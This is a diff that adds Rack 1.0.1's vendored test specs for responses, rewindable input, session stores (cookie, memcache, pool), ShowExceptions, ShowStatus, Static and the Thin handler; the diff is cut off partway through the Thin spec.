+    response = Rack::Response.new
+    response.set_cookie "foo", "bar"
+    response.set_cookie "foo2", "bar2"
+    response.delete_cookie "foo"
+    response["Set-Cookie"].should.equal ["foo2=bar2",
+                                  "foo=; expires=Thu, 01-Jan-1970 00:00:00 GMT"]
+  end
+
+  specify "can do redirects" do
+    response = Rack::Response.new
+    response.redirect "/foo"
+    status, header, body = response.finish
+
+    status.should.equal 302
+    header["Location"].should.equal "/foo"
+
+    response = Rack::Response.new
+    response.redirect "/foo", 307
+    status, header, body = response.finish
+
+    status.should.equal 307
+  end
+
+  specify "has a useful constructor" do
+    r = Rack::Response.new("foo")
+    status, header, body = r.finish
+    str = ""; body.each { |part| str << part }
+    str.should.equal "foo"
+
+    r = Rack::Response.new(["foo", "bar"])
+    status, header, body = r.finish
+    str = ""; body.each { |part| str << part }
+    str.should.equal "foobar"
+
+    r = Rack::Response.new(["foo", "bar"].to_set)
+    r.write "foo"
+    status, header, body = r.finish
+    str = ""; body.each { |part| str << part }
+    str.should.equal "foobarfoo"
+
+    r = Rack::Response.new([], 500)
+    r.status.should.equal 500
+  end
+
+  specify "has a constructor that can take a block" do
+    r = Rack::Response.new { |res|
+      res.status = 404
+      res.write "foo"
+    }
+    status, header, body = r.finish
+    str = ""; body.each { |part| str << part }
+    str.should.equal "foo"
+    status.should.equal 404
+  end
+ 
+  specify "doesn't return invalid responses" do
+    r = Rack::Response.new(["foo", "bar"], 204)
+    status, header, body = r.finish
+    str = ""; body.each { |part| str << part }
+    str.should.be.empty
+    header["Content-Type"].should.equal nil
+
+    lambda {
+      Rack::Response.new(Object.new)
+    }.should.raise(TypeError).
+      message.should =~ /stringable or iterable required/
+  end
+
+  specify "knows if it's empty" do
+    r = Rack::Response.new
+    r.should.be.empty
+    r.write "foo"
+    r.should.not.be.empty
+
+    r = Rack::Response.new
+    r.should.be.empty
+    r.finish
+    r.should.be.empty
+
+    r = Rack::Response.new
+    r.should.be.empty
+    r.finish { }
+    r.should.not.be.empty
+  end
+
+  specify "should provide access to the HTTP status" do
+    res = Rack::Response.new
+    res.status = 200
+    res.should.be.successful
+    res.should.be.ok
+
+    res.status = 404
+    res.should.not.be.successful
+    res.should.be.client_error
+    res.should.be.not_found
+
+    res.status = 501
+    res.should.not.be.successful
+    res.should.be.server_error
+
+    res.status = 307
+    res.should.be.redirect
+  end
+
+  specify "should provide access to the HTTP headers" do
+    res = Rack::Response.new
+    res["Content-Type"] = "text/yaml"
+
+    res.should.include "Content-Type"
+    res.headers["Content-Type"].should.equal "text/yaml"
+    res["Content-Type"].should.equal "text/yaml"
+    res.content_type.should.equal "text/yaml"
+    res.content_length.should.be.nil
+    res.location.should.be.nil
+  end
+
+  specify "does not add or change Content-Length when #finish()ing" do
+    res = Rack::Response.new
+    res.status = 200
+    res.finish
+    res.headers["Content-Length"].should.be.nil
+
+    res = Rack::Response.new
+    res.status = 200
+    res.headers["Content-Length"] = "10"
+    res.finish
+    res.headers["Content-Length"].should.equal "10"
+  end
+
+  specify "updates Content-Length when body appended to using #write" do
+    res = Rack::Response.new
+    res.status = 200
+    res.headers["Content-Length"].should.be.nil
+    res.write "Hi"
+    res.headers["Content-Length"].should.equal "2"
+    res.write " there"
+    res.headers["Content-Length"].should.equal "8"
+  end
+
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_rewindable_input.rb b/vendor/gems/rack-1.0.1/test/spec_rack_rewindable_input.rb
new file mode 100644
index 00000000..78bebfc9
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_rewindable_input.rb
@@ -0,0 +1,118 @@
+require 'test/spec'
+require 'stringio'
+require 'rack/rewindable_input'
+
+shared_context "a rewindable IO object" do
+  setup do
+    @rio = Rack::RewindableInput.new(@io)
+  end
+  
+  teardown do
+    @rio.close
+  end
+  
+  specify "should be able to handle to read()" do
+    @rio.read.should.equal "hello world"
+  end
+  
+  specify "should be able to handle to read(nil)" do
+    @rio.read(nil).should.equal "hello world"
+  end
+  
+  specify "should be able to handle to read(length)" do
+    @rio.read(1).should.equal "h"
+  end
+  
+  specify "should be able to handle to read(length, buffer)" do
+    buffer = ""
+    result = @rio.read(1, buffer)
+    result.should.equal "h"
+    result.object_id.should.equal buffer.object_id
+  end
+  
+  specify "should be able to handle to read(nil, buffer)" do
+    buffer = ""
+    result = @rio.read(nil, buffer)
+    result.should.equal "hello world"
+    result.object_id.should.equal buffer.object_id
+  end
+  
+  specify "should rewind to the beginning when #rewind is called" do
+    @rio.read(1)
+    @rio.rewind
+    @rio.read.should.equal "hello world"
+  end
+  
+  specify "should be able to handle gets" do
+    @rio.gets.should == "hello world"
+  end
+  
+  specify "should be able to handle each" do
+    array = []
+    @rio.each do |data|
+      array << data
+    end
+    array.should.equal(["hello world"])
+  end
+  
+  specify "should not buffer into a Tempfile if no data has been read yet" do
+    @rio.instance_variable_get(:@rewindable_io).should.be.nil
+  end
+  
+  specify "should buffer into a Tempfile when data has been consumed for the first time" do
+    @rio.read(1)
+    tempfile = @rio.instance_variable_get(:@rewindable_io)
+    tempfile.should.not.be.nil
+    @rio.read(1)
+    tempfile2 = @rio.instance_variable_get(:@rewindable_io)
+    tempfile2.should.equal tempfile
+  end
+  
+  specify "should close the underlying tempfile upon calling #close" do
+    @rio.read(1)
+    tempfile = @rio.instance_variable_get(:@rewindable_io)
+    @rio.close
+    tempfile.should.be.closed
+  end
+  
+  specify "should be possibel to call #close when no data has been buffered yet" do
+    @rio.close
+  end
+  
+  specify "should be possible to call #close multiple times" do
+    @rio.close
+    @rio.close
+  end
+end
+
+context "Rack::RewindableInput" do
+  context "given an IO object that is already rewindable" do
+    setup do
+      @io = StringIO.new("hello world")
+    end
+    
+    it_should_behave_like "a rewindable IO object"
+  end
+  
+  context "given an IO object that is not rewindable" do
+    setup do
+      @io = StringIO.new("hello world")
+      @io.instance_eval do
+        undef :rewind
+      end
+    end
+    
+    it_should_behave_like "a rewindable IO object"
+  end
+  
+  context "given an IO object whose rewind method raises Errno::ESPIPE" do
+    setup do
+      @io = StringIO.new("hello world")
+      def @io.rewind
+        raise Errno::ESPIPE, "You can't rewind this!"
+      end
+    end
+    
+    it_should_behave_like "a rewindable IO object"
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_session_cookie.rb b/vendor/gems/rack-1.0.1/test/spec_rack_session_cookie.rb
new file mode 100644
index 00000000..3be88b43
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_session_cookie.rb
@@ -0,0 +1,82 @@
+require 'test/spec'
+
+require 'rack/session/cookie'
+require 'rack/mock'
+require 'rack/response'
+
+context "Rack::Session::Cookie" do
+  incrementor = lambda { |env|
+    env["rack.session"]["counter"] ||= 0
+    env["rack.session"]["counter"] += 1
+    Rack::Response.new(env["rack.session"].inspect).to_a
+  }
+
+  specify "creates a new cookie" do
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/")
+    res["Set-Cookie"].should.match("rack.session=")
+    res.body.should.equal '{"counter"=>1}'
+  end
+
+  specify "loads from a cookie" do
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/")
+    cookie = res["Set-Cookie"]
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).
+      get("/", "HTTP_COOKIE" => cookie)
+    res.body.should.equal '{"counter"=>2}'
+    cookie = res["Set-Cookie"]
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).
+      get("/", "HTTP_COOKIE" => cookie)
+    res.body.should.equal '{"counter"=>3}'
+  end
+
+  specify "survives broken cookies" do
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).
+      get("/", "HTTP_COOKIE" => "rack.session=blarghfasel")
+    res.body.should.equal '{"counter"=>1}'
+  end
+
+  bigcookie = lambda { |env|
+    env["rack.session"]["cookie"] = "big" * 3000
+    Rack::Response.new(env["rack.session"].inspect).to_a
+  }
+
+  specify "barks on too big cookies" do
+    lambda {
+      Rack::MockRequest.new(Rack::Session::Cookie.new(bigcookie)).
+        get("/", :fatal => true)
+    }.should.raise(Rack::MockRequest::FatalWarning)
+  end
+  
+  specify "creates a new cookie with integrity hash" do
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/")
+    if RUBY_VERSION < "1.9"
+      res["Set-Cookie"].should.match("rack.session=BAh7BiIMY291bnRlcmkG%0A--1439b4d37b9d4b04c603848382f712d6fcd31088")
+    else
+      res["Set-Cookie"].should.match("rack.session=BAh7BkkiDGNvdW50ZXIGOg1lbmNvZGluZyINVVMtQVNDSUlpBg%3D%3D%0A--d7a6637b94d2728194a96c18484e1f7ed9074a83")
+    end
+  end
+  
+  specify "loads from a cookie wih integrity hash" do
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/")
+    cookie = res["Set-Cookie"]
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).
+      get("/", "HTTP_COOKIE" => cookie)
+    res.body.should.equal '{"counter"=>2}'
+    cookie = res["Set-Cookie"]
+    res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).
+      get("/", "HTTP_COOKIE" => cookie)
+    res.body.should.equal '{"counter"=>3}'
+  end
+  
+  specify "ignores tampered with session cookies" do
+    app = Rack::Session::Cookie.new(incrementor, :secret => 'test')
+    response1 = Rack::MockRequest.new(app).get("/")
+    _, digest = response1["Set-Cookie"].split("--")
+    tampered_with_cookie = "hackerman-was-here" + "--" + digest
+    response2 = Rack::MockRequest.new(app).get("/", "HTTP_COOKIE" =>
+                                               tampered_with_cookie)
+    
+    # The tampered-with cookie is ignored, so we get back an identical Set-Cookie
+    response2["Set-Cookie"].should.equal(response1["Set-Cookie"])
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_session_memcache.rb b/vendor/gems/rack-1.0.1/test/spec_rack_session_memcache.rb
new file mode 100644
index 00000000..37c3d895
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_session_memcache.rb
@@ -0,0 +1,240 @@
+require 'test/spec'
+
+begin
+  require 'rack/session/memcache'
+  require 'rack/mock'
+  require 'rack/response'
+  require 'thread'
+
+  context "Rack::Session::Memcache" do
+    session_key = Rack::Session::Memcache::DEFAULT_OPTIONS[:key]
+    session_match = /#{session_key}=[0-9a-fA-F]+;/
+    incrementor = lambda do |env|
+      env["rack.session"]["counter"] ||= 0
+      env["rack.session"]["counter"] += 1
+      Rack::Response.new(env["rack.session"].inspect).to_a
+    end
+    drop_session = proc do |env|
+      env['rack.session.options'][:drop] = true
+      incrementor.call(env)
+    end
+    renew_session = proc do |env|
+      env['rack.session.options'][:renew] = true
+      incrementor.call(env)
+    end
+    defer_session = proc do |env|
+      env['rack.session.options'][:defer] = true
+      incrementor.call(env)
+    end
+
+    specify "MemCache can connect to existing server" do
+      test_pool = MemCache.new :namespace => 'test:rack:session'
+    end
+
+    specify "faults on no connection" do
+      lambda do
+        Rack::Session::Memcache.new(incrementor, :memcache_server => '')
+      end.should.raise
+    end
+
+    specify "creates a new cookie" do
+      pool = Rack::Session::Memcache.new(incrementor)
+      res = Rack::MockRequest.new(pool).get("/")
+      res["Set-Cookie"].should.match("#{session_key}=")
+      res.body.should.equal '{"counter"=>1}'
+    end
+
+    specify "determines session from a cookie" do
+      pool = Rack::Session::Memcache.new(incrementor)
+      req = Rack::MockRequest.new(pool)
+      res = req.get("/")
+      cookie = res["Set-Cookie"]
+      req.get("/", "HTTP_COOKIE" => cookie).
+        body.should.equal '{"counter"=>2}'
+      req.get("/", "HTTP_COOKIE" => cookie).
+        body.should.equal '{"counter"=>3}'
+    end
+
+    specify "survives nonexistant cookies" do
+      bad_cookie = "rack.session=blarghfasel"
+      pool = Rack::Session::Memcache.new(incrementor)
+      res = Rack::MockRequest.new(pool).
+        get("/", "HTTP_COOKIE" => bad_cookie)
+      res.body.should.equal '{"counter"=>1}'
+      cookie = res["Set-Cookie"][session_match]
+      cookie.should.not.match(/#{bad_cookie}/)
+    end
+
+    specify "maintains freshness" do
+      pool = Rack::Session::Memcache.new(incrementor, :expire_after => 3)
+      res = Rack::MockRequest.new(pool).get('/')
+      res.body.should.include '"counter"=>1'
+      cookie = res["Set-Cookie"]
+      res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie)
+      res["Set-Cookie"].should.equal cookie
+      res.body.should.include '"counter"=>2'
+      puts 'Sleeping to expire session' if $DEBUG
+      sleep 4
+      res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie)
+      res["Set-Cookie"].should.not.equal cookie
+      res.body.should.include '"counter"=>1'
+    end
+
+    specify "deletes cookies with :drop option" do
+      pool = Rack::Session::Memcache.new(incrementor)
+      req = Rack::MockRequest.new(pool)
+      drop = Rack::Utils::Context.new(pool, drop_session)
+      dreq = Rack::MockRequest.new(drop)
+
+      res0 = req.get("/")
+      session = (cookie = res0["Set-Cookie"])[session_match]
+      res0.body.should.equal '{"counter"=>1}'
+
+      res1 = req.get("/", "HTTP_COOKIE" => cookie)
+      res1["Set-Cookie"][session_match].should.equal session
+      res1.body.should.equal '{"counter"=>2}'
+
+      res2 = dreq.get("/", "HTTP_COOKIE" => cookie)
+      res2["Set-Cookie"].should.equal nil
+      res2.body.should.equal '{"counter"=>3}'
+
+      res3 = req.get("/", "HTTP_COOKIE" => cookie)
+      res3["Set-Cookie"][session_match].should.not.equal session
+      res3.body.should.equal '{"counter"=>1}'
+    end
+
+    specify "provides new session id with :renew option" do
+      pool = Rack::Session::Memcache.new(incrementor)
+      req = Rack::MockRequest.new(pool)
+      renew = Rack::Utils::Context.new(pool, renew_session)
+      rreq = Rack::MockRequest.new(renew)
+
+      res0 = req.get("/")
+      session = (cookie = res0["Set-Cookie"])[session_match]
+      res0.body.should.equal '{"counter"=>1}'
+
+      res1 = req.get("/", "HTTP_COOKIE" => cookie)
+      res1["Set-Cookie"][session_match].should.equal session
+      res1.body.should.equal '{"counter"=>2}'
+
+      res2 = rreq.get("/", "HTTP_COOKIE" => cookie)
+      new_cookie = res2["Set-Cookie"]
+      new_session = new_cookie[session_match]
+      new_session.should.not.equal session
+      res2.body.should.equal '{"counter"=>3}'
+
+      res3 = req.get("/", "HTTP_COOKIE" => new_cookie)
+      res3["Set-Cookie"][session_match].should.equal new_session
+      res3.body.should.equal '{"counter"=>4}'
+    end
+
+    specify "omits cookie with :defer option" do
+      pool = Rack::Session::Memcache.new(incrementor)
+      req = Rack::MockRequest.new(pool)
+      defer = Rack::Utils::Context.new(pool, defer_session)
+      dreq = Rack::MockRequest.new(defer)
+
+      res0 = req.get("/")
+      session = (cookie = res0["Set-Cookie"])[session_match]
+      res0.body.should.equal '{"counter"=>1}'
+
+      res1 = req.get("/", "HTTP_COOKIE" => cookie)
+      res1["Set-Cookie"][session_match].should.equal session
+      res1.body.should.equal '{"counter"=>2}'
+
+      res2 = dreq.get("/", "HTTP_COOKIE" => cookie)
+      res2["Set-Cookie"].should.equal nil
+      res2.body.should.equal '{"counter"=>3}'
+
+      res3 = req.get("/", "HTTP_COOKIE" => cookie)
+      res3["Set-Cookie"][session_match].should.equal session
+      res3.body.should.equal '{"counter"=>4}'
+    end
+
+    # anyone know how to do this better?
+    specify "multithread: should cleanly merge sessions" do
+      next unless $DEBUG
+      warn 'Running multithread test for Session::Memcache'
+      pool = Rack::Session::Memcache.new(incrementor)
+      req = Rack::MockRequest.new(pool)
+
+      res = req.get('/')
+      res.body.should.equal '{"counter"=>1}'
+      cookie = res["Set-Cookie"]
+      sess_id = cookie[/#{pool.key}=([^,;]+)/,1]
+
+      delta_incrementor = lambda do |env|
+        # emulate disconjoinment of threading
+        env['rack.session'] = env['rack.session'].dup
+        Thread.stop
+        env['rack.session'][(Time.now.usec*rand).to_i] = true
+        incrementor.call(env)
+      end
+      tses = Rack::Utils::Context.new pool, delta_incrementor
+      treq = Rack::MockRequest.new(tses)
+      tnum = rand(7).to_i+5
+      r = Array.new(tnum) do
+        Thread.new(treq) do |run|
+          run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true)
+        end
+      end.reverse.map{|t| t.run.join.value }
+      r.each do |res|
+        res['Set-Cookie'].should.equal cookie
+        res.body.should.include '"counter"=>2'
+      end
+
+      session = pool.pool.get(sess_id)
+      session.size.should.be tnum+1 # counter
+      session['counter'].should.be 2 # meeeh
+
+      tnum = rand(7).to_i+5
+      r = Array.new(tnum) do |i|
+        delta_time = proc do |env|
+          env['rack.session'][i]  = Time.now
+          Thread.stop
+          env['rack.session']     = env['rack.session'].dup
+          env['rack.session'][i] -= Time.now
+          incrementor.call(env)
+        end
+        app = Rack::Utils::Context.new pool, time_delta
+        req = Rack::MockRequest.new app
+        Thread.new(req) do |run|
+          run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true)
+        end
+      end.reverse.map{|t| t.run.join.value }
+      r.each do |res|
+        res['Set-Cookie'].should.equal cookie
+        res.body.should.include '"counter"=>3'
+      end
+
+      session = pool.pool.get(sess_id)
+      session.size.should.be tnum+1
+      session['counter'].should.be 3
+
+      drop_counter = proc do |env|
+        env['rack.session'].delete 'counter'
+        env['rack.session']['foo'] = 'bar'
+        [200, {'Content-Type'=>'text/plain'}, env['rack.session'].inspect]
+      end
+      tses = Rack::Utils::Context.new pool, drop_counter
+      treq = Rack::MockRequest.new(tses)
+      tnum = rand(7).to_i+5
+      r = Array.new(tnum) do
+        Thread.new(treq) do |run|
+          run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true)
+        end
+      end.reverse.map{|t| t.run.join.value }
+      r.each do |res|
+        res['Set-Cookie'].should.equal cookie
+        res.body.should.include '"foo"=>"bar"'
+      end
+
+      session = pool.pool.get(sess_id)
+      session.size.should.be r.size+1
+      session['counter'].should.be.nil?
+      session['foo'].should.equal 'bar'
+    end
+  end
+rescue LoadError
+  $stderr.puts "Skipping Rack::Session::Memcache tests (Memcache is required). `gem install memcache-client` and try again."
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_session_pool.rb b/vendor/gems/rack-1.0.1/test/spec_rack_session_pool.rb
new file mode 100644
index 00000000..6be382ec
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_session_pool.rb
@@ -0,0 +1,172 @@
+require 'test/spec'
+
+require 'rack/session/pool'
+require 'rack/mock'
+require 'rack/response'
+require 'thread'
+
+context "Rack::Session::Pool" do
+  session_key = Rack::Session::Pool::DEFAULT_OPTIONS[:key]
+  session_match = /#{session_key}=[0-9a-fA-F]+;/
+  incrementor = lambda do |env|
+    env["rack.session"]["counter"] ||= 0
+    env["rack.session"]["counter"] += 1
+    Rack::Response.new(env["rack.session"].inspect).to_a
+  end
+  drop_session = proc do |env|
+    env['rack.session.options'][:drop] = true
+    incrementor.call(env)
+  end
+  renew_session = proc do |env|
+    env['rack.session.options'][:renew] = true
+    incrementor.call(env)
+  end
+  defer_session = proc do |env|
+    env['rack.session.options'][:defer] = true
+    incrementor.call(env)
+  end
+
+  specify "creates a new cookie" do
+    pool = Rack::Session::Pool.new(incrementor)
+    res = Rack::MockRequest.new(pool).get("/")
+    res["Set-Cookie"].should.match session_match
+    res.body.should.equal '{"counter"=>1}'
+  end
+
+  specify "determines session from a cookie" do
+    pool = Rack::Session::Pool.new(incrementor)
+    req = Rack::MockRequest.new(pool)
+    cookie = req.get("/")["Set-Cookie"]
+    req.get("/", "HTTP_COOKIE" => cookie).
+      body.should.equal '{"counter"=>2}'
+    req.get("/", "HTTP_COOKIE" => cookie).
+      body.should.equal '{"counter"=>3}'
+  end
+
+  specify "survives nonexistant cookies" do
+    pool = Rack::Session::Pool.new(incrementor)
+    res = Rack::MockRequest.new(pool).
+      get("/", "HTTP_COOKIE" => "#{session_key}=blarghfasel")
+    res.body.should.equal '{"counter"=>1}'
+  end
+
+  specify "deletes cookies with :drop option" do
+    pool = Rack::Session::Pool.new(incrementor)
+    req = Rack::MockRequest.new(pool)
+    drop = Rack::Utils::Context.new(pool, drop_session)
+    dreq = Rack::MockRequest.new(drop)
+
+    res0 = req.get("/")
+    session = (cookie = res0["Set-Cookie"])[session_match]
+    res0.body.should.equal '{"counter"=>1}'
+    pool.pool.size.should.be 1
+
+    res1 = req.get("/", "HTTP_COOKIE" => cookie)
+    res1["Set-Cookie"][session_match].should.equal session
+    res1.body.should.equal '{"counter"=>2}'
+    pool.pool.size.should.be 1
+
+    res2 = dreq.get("/", "HTTP_COOKIE" => cookie)
+    res2["Set-Cookie"].should.equal nil
+    res2.body.should.equal '{"counter"=>3}'
+    pool.pool.size.should.be 0
+
+    res3 = req.get("/", "HTTP_COOKIE" => cookie)
+    res3["Set-Cookie"][session_match].should.not.equal session
+    res3.body.should.equal '{"counter"=>1}'
+    pool.pool.size.should.be 1
+  end
+
+  specify "provides new session id with :renew option" do
+    pool = Rack::Session::Pool.new(incrementor)
+    req = Rack::MockRequest.new(pool)
+    renew = Rack::Utils::Context.new(pool, renew_session)
+    rreq = Rack::MockRequest.new(renew)
+
+    res0 = req.get("/")
+    session = (cookie = res0["Set-Cookie"])[session_match]
+    res0.body.should.equal '{"counter"=>1}'
+    pool.pool.size.should.be 1
+
+    res1 = req.get("/", "HTTP_COOKIE" => cookie)
+    res1["Set-Cookie"][session_match].should.equal session
+    res1.body.should.equal '{"counter"=>2}'
+    pool.pool.size.should.be 1
+
+    res2 = rreq.get("/", "HTTP_COOKIE" => cookie)
+    new_cookie = res2["Set-Cookie"]
+    new_session = new_cookie[session_match]
+    new_session.should.not.equal session
+    res2.body.should.equal '{"counter"=>3}'
+    pool.pool.size.should.be 1
+
+    res3 = req.get("/", "HTTP_COOKIE" => new_cookie)
+    res3["Set-Cookie"][session_match].should.equal new_session
+    res3.body.should.equal '{"counter"=>4}'
+    pool.pool.size.should.be 1
+  end
+
+  specify "omits cookie with :defer option" do
+    pool = Rack::Session::Pool.new(incrementor)
+    req = Rack::MockRequest.new(pool)
+    defer = Rack::Utils::Context.new(pool, defer_session)
+    dreq = Rack::MockRequest.new(defer)
+
+    res0 = req.get("/")
+    session = (cookie = res0["Set-Cookie"])[session_match]
+    res0.body.should.equal '{"counter"=>1}'
+    pool.pool.size.should.be 1
+
+    res1 = req.get("/", "HTTP_COOKIE" => cookie)
+    res1["Set-Cookie"][session_match].should.equal session
+    res1.body.should.equal '{"counter"=>2}'
+    pool.pool.size.should.be 1
+
+    res2 = dreq.get("/", "HTTP_COOKIE" => cookie)
+    res2["Set-Cookie"].should.equal nil
+    res2.body.should.equal '{"counter"=>3}'
+    pool.pool.size.should.be 1
+
+    res3 = req.get("/", "HTTP_COOKIE" => cookie)
+    res3["Set-Cookie"][session_match].should.equal session
+    res3.body.should.equal '{"counter"=>4}'
+    pool.pool.size.should.be 1
+  end
+
+  # anyone know how to do this better?
+  specify "multithread: should merge sessions" do
+    next unless $DEBUG
+    warn 'Running multithread tests for Session::Pool'
+    pool = Rack::Session::Pool.new(incrementor)
+    req = Rack::MockRequest.new(pool)
+
+    res = req.get('/')
+    res.body.should.equal '{"counter"=>1}'
+    cookie = res["Set-Cookie"]
+    sess_id = cookie[/#{pool.key}=([^,;]+)/,1]
+
+    delta_incrementor = lambda do |env|
+      # emulate disconjoinment of threading
+      env['rack.session'] = env['rack.session'].dup
+      Thread.stop
+      env['rack.session'][(Time.now.usec*rand).to_i] = true
+      incrementor.call(env)
+    end
+    tses = Rack::Utils::Context.new pool, delta_incrementor
+    treq = Rack::MockRequest.new(tses)
+    tnum = rand(7).to_i+5
+    r = Array.new(tnum) do
+      Thread.new(treq) do |run|
+        run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true)
+      end
+    end.reverse.map{|t| t.run.join.value }
+    r.each do |res|
+      res['Set-Cookie'].should.equal cookie
+      res.body.should.include '"counter"=>2'
+    end
+
+    session = pool.pool[sess_id]
+    session.size.should.be tnum+1 # counter
+    session['counter'].should.be 2 # meeeh
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_showexceptions.rb b/vendor/gems/rack-1.0.1/test/spec_rack_showexceptions.rb
new file mode 100644
index 00000000..bdbc1201
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_showexceptions.rb
@@ -0,0 +1,21 @@
+require 'test/spec'
+
+require 'rack/showexceptions'
+require 'rack/mock'
+
+context "Rack::ShowExceptions" do
+  specify "catches exceptions" do
+    res = nil
+    req = Rack::MockRequest.new(Rack::ShowExceptions.new(lambda { |env|
+                                                           raise RuntimeError
+                                                         }))
+    lambda {
+      res = req.get("/")
+    }.should.not.raise
+    res.should.be.a.server_error
+    res.status.should.equal 500
+
+    res.should =~ /RuntimeError/
+    res.should =~ /ShowExceptions/
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_showstatus.rb b/vendor/gems/rack-1.0.1/test/spec_rack_showstatus.rb
new file mode 100644
index 00000000..78700134
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_showstatus.rb
@@ -0,0 +1,72 @@
+require 'test/spec'
+
+require 'rack/showstatus'
+require 'rack/mock'
+
+context "Rack::ShowStatus" do
+  specify "should provide a default status message" do
+    req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env|
+                                                       [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
+                                                     }))
+
+    res = req.get("/", :lint => true)
+    res.should.be.not_found
+    res.should.be.not.empty
+
+    res["Content-Type"].should.equal("text/html")
+    res.should =~ /404/
+    res.should =~ /Not Found/
+  end
+
+  specify "should let the app provide additional information" do
+    req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env|
+                                                       env["rack.showstatus.detail"] = "gone too meta."
+                                                       [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
+                                                     }))
+
+    res = req.get("/", :lint => true)
+    res.should.be.not_found
+    res.should.be.not.empty
+
+    res["Content-Type"].should.equal("text/html")
+    res.should =~ /404/
+    res.should =~ /Not Found/
+    res.should =~ /too meta/
+  end
+
+  specify "should not replace existing messages" do
+    req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env|
+                                                       [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]]
+                                                     }))
+    res = req.get("/", :lint => true)
+    res.should.be.not_found
+
+    res.body.should == "foo!"
+  end
+
+  specify "should pass on original headers" do
+    headers = {"WWW-Authenticate" => "Basic blah"}
+
+    req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| [401, headers, []] }))
+    res = req.get("/", :lint => true)
+
+    res["WWW-Authenticate"].should.equal("Basic blah")
+  end
+
+  specify "should replace existing messages if there is detail" do
+    req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env|
+                                                       env["rack.showstatus.detail"] = "gone too meta."
+                                                       [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]]
+                                                     }))
+
+    res = req.get("/", :lint => true)
+    res.should.be.not_found
+    res.should.be.not.empty
+
+    res["Content-Type"].should.equal("text/html")
+    res["Content-Length"].should.not.equal("4")
+    res.should =~ /404/
+    res.should =~ /too meta/
+    res.body.should.not =~ /foo/
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_static.rb b/vendor/gems/rack-1.0.1/test/spec_rack_static.rb
new file mode 100644
index 00000000..19d2ecb7
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_static.rb
@@ -0,0 +1,37 @@
+require 'test/spec'
+
+require 'rack/static'
+require 'rack/mock'
+
+class DummyApp
+  def call(env)
+    [200, {}, ["Hello World"]]
+  end
+end
+
+context "Rack::Static" do
+  root = File.expand_path(File.dirname(__FILE__))
+  OPTIONS = {:urls => ["/cgi"], :root => root}
+
+  setup do
+    @request = Rack::MockRequest.new(Rack::Static.new(DummyApp.new, OPTIONS))
+  end
+
+  specify "serves files" do
+    res = @request.get("/cgi/test")
+    res.should.be.ok
+    res.body.should =~ /ruby/
+  end
+
+  specify "404s if url root is known but it can't find the file" do
+    res = @request.get("/cgi/foo")
+    res.should.be.not_found
+  end
+
+  specify "calls down the chain if url root is not known" do
+    res = @request.get("/something/else")
+    res.should.be.ok
+    res.body.should == "Hello World"
+  end
+
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_thin.rb b/vendor/gems/rack-1.0.1/test/spec_rack_thin.rb
new file mode 100644
index 00000000..324f6498
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_thin.rb
@@ -0,0 +1,91 @@
+require 'test/spec'
+
+begin
+require 'rack/handler/thin'
+require 'testrequest'
+require 'timeout'
+  
+context "Rack::Handler::Thin" do
+  include TestRequest::Helpers
+  
+  setup do
+    @app = Rack::Lint.new(TestRequest.new)
+    @server = nil
+    Thin::Logging.silent = true
+    @thread = Thread.new do
+      Rack::Handler::Thin.run(@app, :Host => @host='0.0.0.0', :Port => @port=9204) do |server|
+        @server = server
+      end
+    end
+    Thread.pass until @server && @server.running?
+  end
+
+  specify "should respond" do
+    lambda {
+      GET("/")
+    }.should.not.raise
+  end
+
+  specify "should be a Thin" do
+    GET("/")
+    status.should.be 200
+    response["SERVER_SOFTWARE"].should =~ /thin/
+    response["HTTP_VERSION"].should.equal "HTTP/1.1"
+    response["SERVER_PROTOCOL"].should.equal "HTTP/1.1"
+    response["SERVER_PORT"].should.equal "9204"
+    response["SERVER_NAME"].should.equal "0.0.0.0"
+  end
+
+  specify "should have rack headers" do
+    GET("/")
+    response["rack.version"].should.equal [0,3]
+    response["rack.multithread"].should.be false
+    response["rack.multiprocess"].should.be false
+    response["rack.run_once"].should.be false
+  end
+
+  specify "should have CGI headers on GET" do
+    GET("/")
